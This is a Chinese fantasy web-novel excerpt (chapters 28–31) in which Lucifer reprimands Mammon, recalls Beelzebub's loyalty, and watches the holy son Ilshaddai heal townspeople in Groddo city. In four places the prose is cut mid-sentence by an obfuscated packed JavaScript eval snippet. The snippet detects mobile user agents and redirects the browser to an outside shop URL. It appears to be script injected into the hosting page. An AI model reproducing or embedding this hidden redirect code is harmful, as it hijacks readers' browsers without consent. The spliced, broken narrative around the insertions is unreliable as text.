“米迦勒,若我说,我有一个……能让他难受的主意,你会帮我去做的,对吗?” 不等米迦勒回答,梅塔特隆凑近他耳边,细细说来。 米迦勒听着,不禁瞪大了眼睛。 28. 忠诚如斯 别西卜着实是一位尽忠职守的好下属,路西法离开地狱数日,回来之后却仍见一切事务有条不紊。 就连他那个占地极广,养了无数难伺候的珍奇花木的花园都还是争奇斗艳,未有一处凋零扫兴的枯枝败叶。 侍从们如实告诉他,别西卜每日处理完公务都会来一次,带着万魔殿的专属花匠挨着检查每株花木,但凡有一点儿不完美,都要立刻处理。 别西卜兢兢业业,花匠战战兢兢。 他一向将路西法的事视为头等大事,路西法领他的情。 花园一角处摆放了桌椅,侍从躬身为路西法斟酒,他们都受过训练,一举一动毫无声息,若非能亲眼见到,都会以为他们是隐形的。 “陛下好雅兴。” 玛门穿过一丛丛高树矮花而来,身上却未沾上一点儿花粉,他朝着路西法恭敬地行礼,得到允许后才起身入座。 “杀了那么多人,再不痛快也该痛快了。”路西法随意地往后一靠,酒杯在他指间转了个圈,里面的水液一滴未落。 “能换到陛下的好心情,他们的命也算值了。”玛门说起这些话眼也不眨,依旧是那副斯文亲和的模样。 侍从们倒完酒悄无声息地离去,玛门的目光追着他们的背影停了一刻,再回头,却见路西法正看着他。 绕是心理素质一向绝佳的他也不禁一怔,握紧了手中酒杯。 但随即他又恢复了镇定。 他自己做过什么,他心里有数。 心虚也虚得有限。 毕竟,他做那些事之前,便评估过路西法会不会因此生气。 他是商人,自然利益当先,而路西法就是最大的利益。 所以他先示好。 “听闻陛下近些日子同那位……圣子,相处得颇为愉快,看来天国的一切计划都会在陛下的掌控之中了。”玛门笑着率先开口。 只是他性情如此,一开口,话里话外就少不了试探。 “他倒是个妙人,对天国派来帮他的都不假辞色,倒像是完全不想让他们过多干预他行事。”路西法支着头,从容闲适,仿佛真是在与玛门闲谈。 他并不介意对玛门透露一些消息。 玛门虽有些小心思,但总归是有能力又有分寸的,以往一直知道他的界限在哪里,不会逾越。 不过现在,需要敲打了。 玛门听罢,眸光微动,心里又有了些计较,看样子,陛下对这位圣子印象还不错。 那他确实厉害,伊甸园中的羞辱,还有决战时那一掌,纵使知道他也是听命行事,陛下也不可能完全不介意,如今却能对他评价不差,想必他在别的方面定有过人之处。 看来得找机会接触一下了。 说不定,有利可图。 “你对他倒是感兴趣,不如派你去看着他?”路西法漫不经心道。 玛门眉头一跳,强笑道:“我那儿尚有许多事务亟待处理,恐怕只能辜负陛下的信任了。” “梅塔特隆没说过让你关照他?” 猝不及防,突然发难。 玛门完全未料到这个走向,一瞬惊色毕露。 “玛门,不要把别人都当傻子。”路西法那双殷红竖瞳眸色沉沉,“当年你带领众恶魔臣服于我,我便有言在先,对待恶魔与堕天使,我会一视同仁,同赏同罚,也望你们不分彼此,守望相助。” 那时玛门是第一个跪下发誓的。 阿斯蒙蒂斯没有骗约里,恶魔的誓言永久有效,一旦违反必定被抹杀。 玛门一如当时那样跪了下去。 路西法有意叫他自己想想,便只是把玩着酒杯,不再出言。 整个地狱都在他的掌控之中,玛门做过什么,他一清二楚。 梅塔特隆与玛门之间的来往,他早就知道,但出于权衡考量,没有干涉。 玛门是狡诈的恶魔,不是诚信的天使,无论梅塔特隆与他有什么交易,又有多少重保证,他都不会做出真正损害地狱利益的事。 至于他和梅塔特隆的交易,那多好办,设想是一回事,实际执行后的成果又是另一回事,这多么正常。 梅塔特隆也不可能为此与他计较。 就比如放走莉莉丝,梅塔特隆认为她会因曾经的过节而给不遗余力地给路西法添堵,从而给圣子争取到时间,玛门照做了。 玛门只是没有告诉他,在从前和莉莉丝打交道时,他一早就看出她色厉内荏,内心深处有多惧怕路西法。 但算起来,他甚至是认真履行了交易,一点儿没耍滑头。 硬要说有,那就是他“不小心”把莉莉丝赶到了陛下当时所在的地方。 但这不也可以说是命运的巧合么。 亦或是安插眼线,他可是实实在在地放了,但是陛下敏锐,当场就发现,将计就计摆了梅塔特隆一道,那怎么能怪他呢? 所以以上都不是原因。 玛门脑子转得飞快,不过片刻就想到了症结所在。 ——路西法这是在怪他伤了别西卜。 他利用了别西卜的信任和癖好,使他昏迷,借机才放走莉莉丝。 玛门心里也有点苦。 别西卜对待路西法的命令严格得跟什么似的,每天除了处理公务照看花园,就是要么亲自去要么派亲信去看一眼莉莉丝。 任由她再如何辱骂挑衅或者痛哭求饶都无动于衷,从不松懈。 他不这么做,莉莉丝真得永生永世都找不到逃出来的机会。 不过这也就是他内心想想,他不会说出来,因为解释无用,他对别西卜动了手是既定事实。 这已触到路西法的逆鳞。 要说让所有堕天使与恶魔从上到下都必须相处融洽,那是绝对不可能的,即使是亲兄弟还会因性格差异而反目。 但是玛门和别西卜的身份太特殊了,位高权重,一个是从前的地狱恶魔之首,第一个臣服于路西法的恶魔,一个是现在的地狱宰相,自天国时追随路西法的心腹重臣,都具有非同一般的象征意义。 莉莉丝潜逃的内情还未泄露,一旦恶魔们知道是玛门对别西卜动了手,还取得了成功…… 从此地狱不会平静。 那些本就是被路西法暴力压制的浮躁心思,恐怕会再次波动。 玛门深吸一口气。 他不是不知道其中利害,只是,他以为……路西法会直接按下此事,以“别西卜的不慎疏忽”作为结论,再表示因别西卜有目共睹的忠诚而赦免他,从此揭过。 两全其美,既对既定事实不会有任何妨碍,又不会有谁受罚。 但他猜错了。 路西法没有这样做。 至于原因,他的所作所为是一方面,但更重要的另一方面…… 是因为别西卜。 玛门掐住自己的掌心,强迫自己冷静下来。 既然明白了路西法为何敲打,他立刻想好了应对之策。 “陛下,玛门的誓言永远不会变,玛门永远臣服于您,这种事,不会再有第二次。”玛门俯下|身,恭敬诚恳道。 恶魔天生敏锐,他没有抬头,也知道路西法寒凉的目光落在他脊背上,激起他层层冷汗。 “我正有个主意,既然发生了,不如,就以此再试探,如今的魔王们当中,是否有人还有不臣之心。”玛门越发谨慎,提出了他的意见,并承诺,“若真有这等心怀不轨之辈,我定然亲手处置!” 地狱恶魔曾经长期以他为首,在路西法高压统治下,如今还心有不忿的大多也是为他,他却亲自处置,无疑是在斩断自己的退路,以此证明忠诚。 玛门的确聪明,而且果断。 这也是路西法一向很欣赏他的点。 “起来吧,让旁人看见,未免有失你的体面。” 这会儿哪会有人不长眼睛来撒旦陛下的花园。 但玛门只是神情感激地起身。 待再度落座,他只觉身上发凉,刚才,确实是一场惊吓。 “玛门。”路西法又开口。 玛门打起精神,准备继续应对撒旦陛下的拷问。 却听他道:“去给我寻会制衣的名家来。” 玛门一愣。 陛下的衣服饰品,不都一直是几位专属设计名家特制的吗? 路西法想了想,又补充道:“要风格不正经的那种。” 啊? 玛门有些傻眼。 从大门口一路到别西卜的书房,玛门保持着微笑忍受了全程的白眼。 无论守门还是引路的侍从,全都对他没个好脸色。 尤其是引路的那个,他最过分,玛门就没有见过他的瞳孔。 不过没关系,起码别西卜没吩咐他们直接把他打出去。 本来,玛门都做好了要在门口闹点事才能被请进去的准备。 万幸还不用这么丢脸。 他见到正在批复公文的别西卜时,笑容加深几分,温和道:“我就知道你不会阻拦我。” “我不见你,你自会在门口折腾,你闹事,丢的还是陛下的脸。”别西卜没有抬头,但从声音里已经可以听出咬牙切齿。 玛门也不恼,笑道:“我们都是陛下任命的重臣,自然是荣辱一体的。” “你也配!”别西卜忽地发怒,直接抄起桌上的镇纸砸向他,“你简直枉费陛下的信任!” 玛门早有准备,侧身一躲,晃眼看那造价不菲的镇纸摔得粉碎,心里惋惜不已,嘴上只道:“我也是情非得已,但我可以发誓,别西卜,我没有做任何损害陛下利益的事。”不等别西卜骂他狡辩,他又道,“但今日陛下召我去,我已知错,别西卜,陛下当真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的出现无疑如一石激起千层浪,霎时,欢呼的,行礼的,整个场面乱成一团。 只有别西卜盯着靶心,一箭正中。 但教授天使却面色凝重,呵斥道:“对殿下放箭,这是大不敬!” 别西卜一愣。 可这不是射箭课吗? 不是要求了立刻射箭吗? 而且,他当时只看着靶心,真没注意到路西菲尔的到来。 但他不善言辞,根本不知道从何处辩解起。 教授天使已经向路西菲尔请罪,路西菲尔摆了摆手,走到还在出神的他面前,微微俯身,将写有他名字的吊坠小牌从他胸前拿起。 “别西卜?” 别西卜愣愣地点头。 “很厉害的箭法。”路西菲尔微笑道,“你很坚定,也很专注。” 这是头一次有人如此评价他。 还是,还是路西菲尔。 仅在神明之侧,万众仰望的路西菲尔。 别西卜脑中一片混乱,他头一次恨自己口齿不够伶俐,也没有急智。 倘若是旁的天使,一定能很好地应对…… 而他,连话都说不出来,路西菲尔殿下会很失望的吧。 然而,出乎他意料。 路西菲尔取下那块小牌,放进跟随他身后的那位天使手中托盘里,笑道:“就他了。” 别西卜彻底愣住了。 直到路西菲尔走远,他在一片恭贺声中才缓缓回过神来。 他握紧胸口没了小牌吊坠的链子,久久不能平静。 路西菲尔殿下选择了他! 他一定,一定不会辜负殿下的。 他甘愿,为殿下奉上一切。 “想到什么了?竟然不理我。”玛门那可恶的声音还在耳畔,惊醒了别西卜。 他沉下脸,看向玛门:“既然陛下宽恕了你,那你自当好自为之,若被我发现你有图谋不轨……” “不会!”玛门肯定道,他眨了眨眼,“除了陛下,没人能做地狱之主。” 难为玛门这嘴里还吐得出像样的话。 陛下不追究,他便也不会在意,这件事就这么过去。 但他忘了,玛门并不是个安分的性子。 所以他听见玛门低声道:“我还有一事想问你。” 别西卜懒得理,看也不看他一眼。 “你说,陛下,何时对那位圣子,如此上心了呢?” 别西卜抬起头,紧盯着他:“你知道什么?” 玛门笑了起来。 29. 弃恶从善 此次回到地狱,除却敲打玛门之外,路西法又将其他要紧的安排再度核对,确保每个环节和相对应任用的下属不会出岔子。 别西卜对此深感歉疚。 他依旧认为是自己没能及时察觉玛门的谋划才使得路西法现在需要如此费心。 他就是这样的性情,路西法明里暗里说了他多次,他也改不过来,便也作罢。 路西法想,想要彻底扭转,大概得让耶和华把他回炉重造。 不过也就是想想,他是不可能让耶和华对他的下属动手的。 别西卜不知道自己一直崇拜的君主脑子里转过了什么危险的想法,还在沉重感叹:“当年,梅塔特隆并不曾这样……不择手段。” “经历那么多事,谁都会变的。”路西法淡然道,梅塔特隆从前权位也不过在他之下,只是那时事事有他在先,他也就只需放任自己,做个□□请好书画,日日赏花烹茶的悠闲天使。 但若论起本事,他不一定会输给米迦勒。 这一局是路西法大获全胜,但下次可就未必。 梅塔特隆一定会想方设法扳回一城。 但路西法也不会手软。 好不容易等来耶和华再次封闭水晶天,他必要抓住这个机会,将一切谋划付诸实践。 别西卜也不过感叹一句,如今他们与梅塔特隆立场相对,届时兵戈相见,没有心慈手软的道理。 待正事谈完,路西法忽地又想起一事。 “别西卜,当年在天国时……除了最后那次,我与圣子,见过吗?” 别西卜一听见“圣子”二字,当即整颗心都悬了起来。 玛门那时的话又在他耳边响起。 陛下,似乎的确是对那位圣子太关心了。 他细细回忆,方回答道:“我印象中不曾见过。”随即又故作不经意般问起,“陛下,可是圣子提起曾见过?” 路西法没有否认。 别西卜心中有了答案,便觉颇为不妙。 不管见没见过,圣子好端端地提这个做什么? 怕不是想…… 他轻咳一声,道:“当初您出入都有无数侍从随行,许是圣子远远见过一次,而您没有发现他。” 这也不无道理。 昔年天国副君出行的排场,就算是放到如今,也是无可比拟的,但那时圣子身份未定,必然没有凑到他面前的资格。 路西法不再多想。 别西卜暗自松了口气,不着痕迹提起旁的事,转移开了话题。 只是心里到底对那位圣子有了些看法。 路西法一连忙过数日,直到玛门将他要的东西送来,这才想起,他似乎忘了个人。 近日没有不适,想来,伊勒沙代应该没遭罪。 正好,也该去瞧瞧他了。 路西法想了想,直接到了格罗多城的城主府中。 ——却见伊勒沙代正坐高堂,那位传说中暴躁凶恶的格罗多城主,满面虔诚,恭敬地向他复述自己近日的行为。 “我已经将那些流浪汉都放了,并在城中设立救济处,凡有老弱都可以接受救助……” 一旁刻意降低了存在感的阿斯蒙蒂斯听得呵欠连天,约里却是眼睛发亮,一转头看见他这样,不客气地在他胳膊上掐了一把。 这点力气对于大魔王来说和蚊子没差别,却叫他清醒了一瞬,就一眼,便看见了他的陛下。 阿斯蒙蒂斯彻底清醒了。 他蹑手蹑脚地离开,凑到路西法身边,故作深沉肃穆道:“陛下,幸不辱命。” 他心里还有点小小的郁闷。 路西法走时没有通知他,他一觉醒来只发现伊勒沙代正在他床边盯着他,可把他吓了一大跳。 对一个堕天使而言,一睁眼看见一个气质肖似创世神的人立在旁边,恐怖程度相当于在被窝里睡得半梦半醒的人类发现自己怀里抱了个七窍流血的惨死厉鬼。 当真是能活活吓死过去的程度。 偏偏这比惨死厉鬼还可怕的人类笑容温和无害地通知他,他的使用权已经暂时被他的陛下移交给了他。 阿斯蒙蒂斯起初自然是不信的。 直到伊勒沙代拿出了一枚小巧的赤金露薇坠饰。 阿斯蒙蒂斯这才不得不相信,他敬爱的陛下真要他为这个昔日仇人效命。 虽然是暂时的,但也足够阿斯蒙蒂斯怨念了。 可惜路西法像没瞧见他哀怨的眼神似的,只让他说说伊勒沙代都做了什么。 “……他让我给那些灯挡雨,按照格罗多城主的进程来挡雨,一盏,十盏,百盏,今日格罗多城主汇报完,待他检查后,便可为全城的灯挡雨了。” 没人能左右创世神的意见,那就干脆不管。 阿斯蒙蒂斯的法力在人间会被压制,但只不过是为浴光节的灯挡雨,这点小事自然不成问题。 至于格罗多城主,他自该记住教训,往后才不会作恶。 伊勒沙代倒是把一切都安排得当。 但路西法在意的却并非这个。 而是…… 他从委屈的阿斯蒙蒂斯手中接过了那枚露薇坠饰,示意他回去。 那坠饰小巧精致,却让路西法眸中思绪更沉沉。 这坠饰不是他给伊勒沙代的。 他故意不曾给他任何信物,就是想看看,他要如何支使得动身为堂堂魔王的阿斯蒙蒂斯。 但伊勒沙代怎会知道,这枚赤金露薇坠饰是他与阿斯蒙蒂斯之间独有的信号? 分明,知道这件事的,除了他们两个之外,尸骸都该化作尘土了。 与约里不同,狄曼图雅他们虽也在城主府,却远远在花园里,路西法寻到他们时,还见她正忿忿不平。 “这个格罗多城主,以往我在王城看见他时,他对谁都是笑脸相迎的,原来都是装的!他回到格罗多城就作威作福,欺压百姓,要我说,还教他改什么?直接杀了他换个仁慈善良的城主不就好了!” 塞里加低声劝慰她:“伊勒沙代先生兴许是有别的打算,您也看到了,他如此聪慧,定然有自己的安排。” 而利安维亚对她就没有这么温柔耐心了,只是瞥她一眼,哼笑道:“你还当这里是王城,任由你想怎样就怎样?格罗多城主的位置代代相传,他们家族在城中势力根深蒂固,你想换成谁?你信不信你前脚刚走,后脚那新城主就暴毙,再换回他们家族的人。” 狄曼图雅无法反驳,只能干瞪眼。 但利安维亚明显还不想放过她:“你不会动脑子就多看看别人怎么做的,那个伊勒沙代就比你明白得多,格罗多城就是个不受重视的僻远之地,环境也封闭,离开的人远比留下的人多,而现在的城中百姓谁不知道城主暴躁凶恶,但你看他们对他有怨言吗?没有!那就说明,这位城主对他们有其他的好处,好到可以让他们可以装聋作哑,接受目前的境况。” 所以贸然再换城主,过客倒是觉得大快人心,对于居民而言,恐怕却并非如此。 狄曼图雅听得瞠目结舌,但她细想之后,不得不承认,利安维亚说得有理。 只是心里还是闷闷的。 塞里加见她难过,神情颇为担忧,看着利安维亚的目光也变得不善。 利安维亚向来看不上他,本要出言讥讽,却不经意瞧见了在一旁看热闹的路西法。 他马上抛下了这边二人,毫不迟疑地过来。 路西法挑了挑眉。 他依旧刻意放低存在感,没想到,利安维亚倒是极为敏锐。 然而真到了他面前,利安维亚忽地又显得有些局促不安,欲言又止。 “你不想抓狄曼图雅回去。”路西法先开口,目光落在他的脸上,便有一瞬晃神。 但也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091873|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过刹那即逝。 仿佛是利安维亚的幻觉。 利安维亚心跳得有些快,他努力维持着镇静,道:“我是为你留下来的。” “为我?”路西法笑起来,斜斜倚在满墙凌霄花之侧。 分明这般艳丽绝俗的花应与他的容貌互相映衬,利安维亚却蓦地脑中只想到藏在花墙之后的毒蛇。 冰冷的竖瞳静静地旁观发生的一切。 只待时机,便一击杀死猎物。 这个想法让他更加紧张。 但他迫切想知道答案。 “我总觉得,你很熟悉。”利安维亚眉头紧皱,小心组织语言,“我应当是第一次见到你,但我却发自内心地觉得,我必须要信任你,听从你。” 这种感觉太过奇异,是他哪怕面对如师如父的大祭司时也不曾有过的。 他生来天赋卓绝,自小听遍赞美之言,也从未有过败绩,那一晚与路西法交手,是他头一次感受到了何为“碾压”。 他不怀疑,只要路西法想,可以随意就让他粉身碎骨。 而他毫无还手之力。 所以这份感觉,越发显得不可思议。 他紧张地看着路西法,却只见他表情没有半分变化,仍是那副懒懒散散的模样,不留情地点评道:“很低劣的搭讪开头。” 利安维亚一愣,随即不可置信地反问:“你觉得我这是在找借口搭讪你?” 路西法的表情已经很直白地展示了“不然呢”这三个字。 利安维亚霎时气得满脸通红,只觉自己一腔期待全都喂了狗。 这人,这人简直太可恶了! 他除了这张脸简直一无是处! “这世上很多事,去刨根问底要个答案本就毫无意义。” 利安维亚回过身,便见伊勒沙代不知何时出现在他身后。 艳丽如火的凌霄花纠缠着光影在他白衣上落下颜色,却只衬得他越发不像此间中人。 只如亘古缄默的冰川。 圣洁威严,高不可攀。 利安维亚像是头一次认识他一般,忽地意识到,伊勒沙代,似乎,比他的老师,那位圣殿至高的大祭司,更像神在人间的代言人。 但他怎么能这么想? 一个普普通通的小镇木匠,怎么能同天生不凡的大祭司相提并论! 他闭上眼摒弃这个念头,脸色有些难看,只强硬道:“与你无关。”说罢便匆匆离开。 伊勒沙代未曾多看利安维亚离开的身影一眼,轻轻叹息,道:“他生来孤独,想是希望你承认是他的亲属。” 路西法嗤笑一声:“凡人心性。” 只有脆弱的人类才会渴望和需要亲情这样的东西,维系他们与血脉相连之人的关系,结成天然的同盟,互帮互助。 但对于恶魔而言,都只是累赘而已。 伊勒沙代似是看穿他所想,摇了摇头,温和道:“感情能使心智坚定的人类犹豫不决,也能使懦弱可欺的人类英勇无畏。路西,你将感情视之如腐蚀毒|药,这是不对的。” 路西法盯着他澄澈温柔的湛蓝双眸,片刻后,忽地嘲讽道:“与你无关。” 同一句话,然而自他之口出,便是傲慢轻蔑,足叫人羞愤不堪。 但伊勒沙代却神色不变,甚至更上前几步,应道:“与你有关的事,便与我有关。” 路西法亦不退反进,抬手掐住他的下颌,自上审视他:“你今日好似格外高兴,怎么,格罗多城主弃恶从善了?” 伊勒沙代在他指间艰难地摇头,路西法不留情地将他的脸都掐出了红印,他却依旧笑道:“不是因为这个。” “我高兴,是因为你回来了。”湛蓝宁静的湖面盛满曦光,似有徐徐清波将它割得细碎如星,由是格外耀眼夺目,“路西,你在关心我吗?” 路西法像是被烫到一般松开了手。 30. 小彩蛋:路西法的个人年度报告 尊敬的路西法陛下,又是一年末尾,请查收您的个人年度总结报告~ 在过去的一年里,您累计搜索【如何鞭策懒笨下属】【下属好像是天生的弱智怎么办】超过1000次,获得【头痛的上司】称号~您现在对于管理下属一定有非常丰富的经验了吧~ 这一年,您累计熬夜366天,啊哦,您好像完全没有睡眠呢~下一年要注意休息呀~ 这一年,您新增粉丝10w+位,每条动态受关注度超过1000w,荣获【人见人爱花见花开】称号~ 其中,【游客bjq01624546】【cpdd男女不限不男不女也不限】【什么时候开饭】【钱来钱来钱从四面八方来】【心平气和】【嫉妒像呼吸一样简单】是您的忠实粉丝,总是第一时间关注您的每条动态~ 咦,有一位无法识别的用户偷偷关注您很久了,和TA打个招呼吧~ 这一年,您累计点踩1次,拉黑1位,对象【天国发布】曾经是您的铁粉,其中发生了什么曲折的故事呢~ 这一年,您已取关【我剑所向无不平】【书记官的命也是命】【AAA收百合花兼职送子】【诚招药草护理】【门卫】等用户累计超过100w天,其中无法识别用户【】是您第一个取关并拉黑的,冤家宜解不宜结,快和TA聊聊天吧~ 这一年,您累计发表动态12条,内容均为《潘地曼尼南提案修改法》,秒删1条,内容为“今夜的酒不及与你共饮那天的浓烈”,发表时间为5:45,在这个独自饮酒的孤寂夜晚,是谁又勾起了您的回忆呢~ 这一年,您累计召开会议38次,举办晚宴46次,【游客bjq01624546】【cpdd男女不限不男不女也不限】【cpdd男女不限不男不女也不限】【什么时候开饭】【钱来钱来钱从四面八方来】【心平气和】【嫉妒像呼吸一样简单】是您的固定邀请对象,【游客bjq01624546】共醉倒27次,【cpdd男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091874|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女不限不男不女也不限】共醉倒7次,【什么时候开饭】共醉倒29次,【心平气和】和【嫉妒像呼吸一样简单】共醉倒38次,而您仅仅醉倒1次,恭喜您获得【千杯不醉】称号~ 哇哦!在您醉倒的那一次,无法识别用户【】持续关注您的动态,和TA聊聊那一天吧~ 这一年,您累计袭击【我剑所向无不平】57次,烧毁【AAA收百合花兼职送子】的花田16次,拔掉【诚招药草护理】的草药园28亩,欺骗戏弄【门卫】31次,大获成功!恭喜您获得【天国公敌】称号,成为全天国拉黑对象~ 咦,无法识别用户【】似乎没有拉黑您哦,您依然是TA的唯一特别关心! 【加载异常】 【加载异常】 检测到无法识别用户【】接近…… 【加载异常】 【加载异常】 【加载异常】 …… 【路西,回头。】 31. 人不如旧 伊勒沙代打算做的并不只是教训格罗多城主。 次日一早,城主府的侍卫就在城中央那座宏伟神像下的广场里为他建起一处临时棚子。 用于治病。 不分轻重,分文不取,自愿即可。 一开始,城中居民光是看着那神情肃穆立在两旁的城主府侍卫,便踌躇不前。 但伊勒沙代此人实在面善。 总叫人莫名其妙就信服。 如今人间医匠地位不高,深入学习又耗时费力,还不一定能有多少回报,所以从事这行的并不多,而其中大多数医匠都会找门路去王城争做贵族们的专属,哪里会愿意来偏远的格罗多城为平民诊治。 且不说能不能付出诊金,就是治疗需要的药材,那也是一笔不小的开销。 如今却有个现成的机会。 故而,斟酌再三之后,还是有人犹犹豫豫地坐到了伊勒沙代对面。 反正……反正,也不会再损失什么吧? 他们已经一无所有了。 伊勒沙代没有兜圈子,对方的病症他一看便知,迅速地给出了解决方案。 然后有请下一位。 一个个排队的城中居民忐忑不安地坐下,不过几息又晕晕乎乎地起来离开。 很快,这里便排起了长队。 不管是否有效吧……总之,有个疑似医匠的人愿意搭理他们,他们就很感激了。 这一幕落在不同的旁观者们眼里,自然也是不同的反应。 约里和聂厄曼都是既崇拜又激动。 光看聂厄曼的表情就可以知道,无论伊勒沙代再说什么,他都不会信他不是预言中的天命之王了。 仁善亲和,庇佑万民。 而阿斯蒙蒂斯则是若有所思。 看圣子这模样,倒是比拉斐尔还得心应手。 从圣子目前的表现来说,智慧不输梅塔特隆,武力不输米迦勒,医术不输拉斐尔。 父神也真是…… 祂竟然还有兴趣捏个这么完美的造物。 难道祂早就看出了陛下的不臣之心? 不过好像也不奇怪。 从陛下生了异心起,行事便没什么顾忌,也就是天使秉性纯善,又对他太有好印象,不曾往叛变的方向去想。 否则早就该发现了。 当然,更重要的是,父神的态度一直很模糊。 阿斯蒙蒂斯是不信祂没发现的。 在路西菲尔正式叛变之前,他们好长一段时间互不搭理。 无论什么事都是叫米迦勒在中间传消息。 到最后连他这个素来心大的都觉得不对劲,明明双方都有空,怎么偏偏就非得差遣他两头跑? 像是见一面会怎样似的。 但就算是这样,父神也始终不曾借故问责路西菲尔一句。 阿斯蒙蒂斯实在不明白他们之间到底是什么样的恩怨。 恨是恨的,但好像又不完全只有恨。 不过要是这样细想下去,弥赛亚也有些古怪…… 阿斯蒙蒂斯渐渐觉得头疼。 算了算了,不想了。 陛下从前那些事,恐怕只有他和创世神本尊知道内情了,旁人再怎么思考也想不出来的,不如干脆不想。 阿斯蒙蒂斯还是那个观念,知道的多了可不是好事。 尤其是和创世神相关的。 他悄悄观察着路西法,就见他的陛下一直盯着伊勒沙代。 嘲讽,又不解。 而伊勒沙代在前后两人交替的间隙抬头,对他笑了笑,眉目柔和,如盛清波。 阿斯蒙蒂斯暗自咋舌。 别的不说,圣子这相貌真是无可挑剔。 地狱不缺美人,他的领地更是可以称得上齐聚了各种各样的美人,但能和圣子一较高下的,还真没有。 难怪陛下对他多些耐心呢。 阿斯蒙蒂斯一向对所有长得好看的生灵都万分柔情,看伊勒沙代自然也无比顺眼。 只不过他多看伊勒沙代一会儿,约里便已经警觉地瞪了过来。 阿斯蒙蒂斯讪讪地收回视线。 什么嘛,他不过是看两眼,又不会做什么,他活腻了才想勾搭圣子,他没路西法的本事,可连米迦勒一剑都经不起。 就在他腹诽时,路西法已经转头离开。 阿斯蒙蒂斯连忙要跟上,却听他丢下一句:“留下盯着。” 阿斯蒙蒂斯猛然顿住,苦着脸回头,正对上约里满是怀疑的目光,只觉得霎时头疼欲裂。 一连三日,伊勒沙代都在那棚中。 起初居民们还对他有些疑虑,直到病得轻的居民依他所言好了起来,那队伍便一直排到了城外。 三日之后,伊勒沙代又让格罗多城主为他架设讲台,他要为城中居民讲些基础的伤病处理方法。 宣讲之日,万人空巷。 路西法站在人群中,随他们一同仰头看台上的伊勒沙代。 恢宏天幕,耀耀曦光,都不过是他的陪衬。 朝阳落在他身后,甘做他点缀。 路西法身为万魔之主,并不惧光,比四周的凡人更能看清他的容貌。 而在他看过去那一瞬,伊勒沙代似有所感,亦是转头。 在千万人中,他顷刻间便望见了他。 四目相对,恍然间,路西法想起来。 他见过他。 在……叛变之日前。 路西菲尔与众天使前往水晶天的途中会经过一处花园。 他在天使们簇拥中穿过回廊,温柔亲和的笑容之下早已是心不在焉。 时至今日,已忘了当时所想。 只想起来,忽地听见有人唤他。 “路西……菲尔殿下。” 于是他驻足望去,便见一白衣青年在隔了重重繁花累叶之处看着他。 见到他,路西菲尔第一个想起的是“曦光”。 辉映万里,驱晦逐雾。 他分花拂叶,路西菲尔从他湛蓝眸中,只窥见自己的身影。 周围天使们的呵斥似乎都充耳不闻。 分明初见,路西菲尔却蓦然觉得,他很熟悉。 他被随行的天使守卫拦在路西菲尔一臂之距外,眸光温柔,如春波粼粼。 “我是弥赛亚。” 路西菲尔从未听过这个名字,顿了顿,颔首道:“弥赛亚,你好。” 弥赛亚笑容更盛,似又要说什么,此刻众天使耳边却不约而同响起了创世神的声音。 “路西,勿要耽误。” 路西菲尔垂下眼,掩去一丝转瞬即逝的厌烦,抬眸时又恢复一如既往的端庄优雅模样,道:“父神有令,我要先行一步,弥赛亚,改日再叙吧。” 弥赛亚却极为不舍,甚至似想挽留。 路西菲尔心下奇怪。 一般造物,听到是创世神的命令,不该是……诚惶诚恐,赶紧退让么? 弥赛亚,怎么像,并不畏惧创世神? 但这一会儿间,创世神的第二道催促已到耳边,向来淡漠无情的声音中竟难得地多了警告之意。 路西菲尔压下心中想法,匆匆离开。 而听得身后,弥赛亚执着地道:“你一定要记得我。” 一定要……记得我? 路西法忽地眯起眼。 一如那三日里,伊勒沙代结束之后,阿斯蒙蒂斯都来任劳任怨地帮他挡下狂热的居民,并护送他回去。 只是今日,伊勒沙代却多留了片刻,望向人群中,像是想寻得哪个身影。 阿斯蒙蒂斯顺着他目光看了两眼,便露出了心领神会的笑容,劝道:“回去吧,陛下不在这儿。” 伊勒沙代这才收回视线,只是不免有些遗憾。 阿斯蒙蒂斯和他独处了几日,也没有从前那么生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091875|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疏避讳了,好奇道:“我真是不明白,我知道陛下,呃,不说别的,他的外貌确实很能吸引狂蜂浪蝶,但是你难道不知道,天国有多忌讳他?你这么毫不掩饰,就不怕日后回了天国被论罪?” 梅塔特隆不可能没告诉过他这事吧。 亲近撒旦是《天使守则》里面的头号重罪。 哦,不对,伊勒沙代好像不是天使。 管不着他。 